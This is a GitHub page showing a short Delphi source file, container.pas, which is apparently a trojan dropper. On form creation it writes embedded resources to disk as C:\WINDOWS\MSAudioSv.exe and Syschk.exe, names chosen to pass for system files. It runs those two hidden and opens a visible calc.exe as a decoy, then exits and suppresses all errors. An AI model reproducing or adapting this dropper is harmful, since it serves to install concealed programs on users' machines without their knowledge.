-
Notifications
You must be signed in to change notification settings - Fork 1
/
container.pas
44 lines (34 loc) · 925 Bytes
/
container.pas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
unit container;
interface
uses
Windows, Messages, SysUtils, Variants, Classes,sycfuncs, shellapi, Controls, Forms;
type
TForm4 = class(TForm)
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form4: TForm4;
implementation
{$R *.dfm}
procedure TForm4.FormCreate(Sender: TObject);
begin
try
dropres('msaudio', 'C:\WINDOWS\MSAudioSv.exe');
dropres('msaudio', 'C:\WINDOWS\SysAudioSv.Manifest');
dropres('calc', 'C:\calc.exe');
dropres('syschk', 'C:\WINDOWS\Syschk.exe');
ShellExecute(form4.Handle, nil, 'c:\windows\MSAudioSv.exe','', nil, sw_HIDE);
ShellExecute(form4.Handle, nil, 'c:\windows\Syschk.exe','', nil, sw_HIDE);
ShellExecute(form4.Handle, nil, 'c:\calc.exe','', nil, sw_SHOWNORMAL);
sleep(2000);
application.Terminate;
except
on E: Exception do
;
end;
end;
end.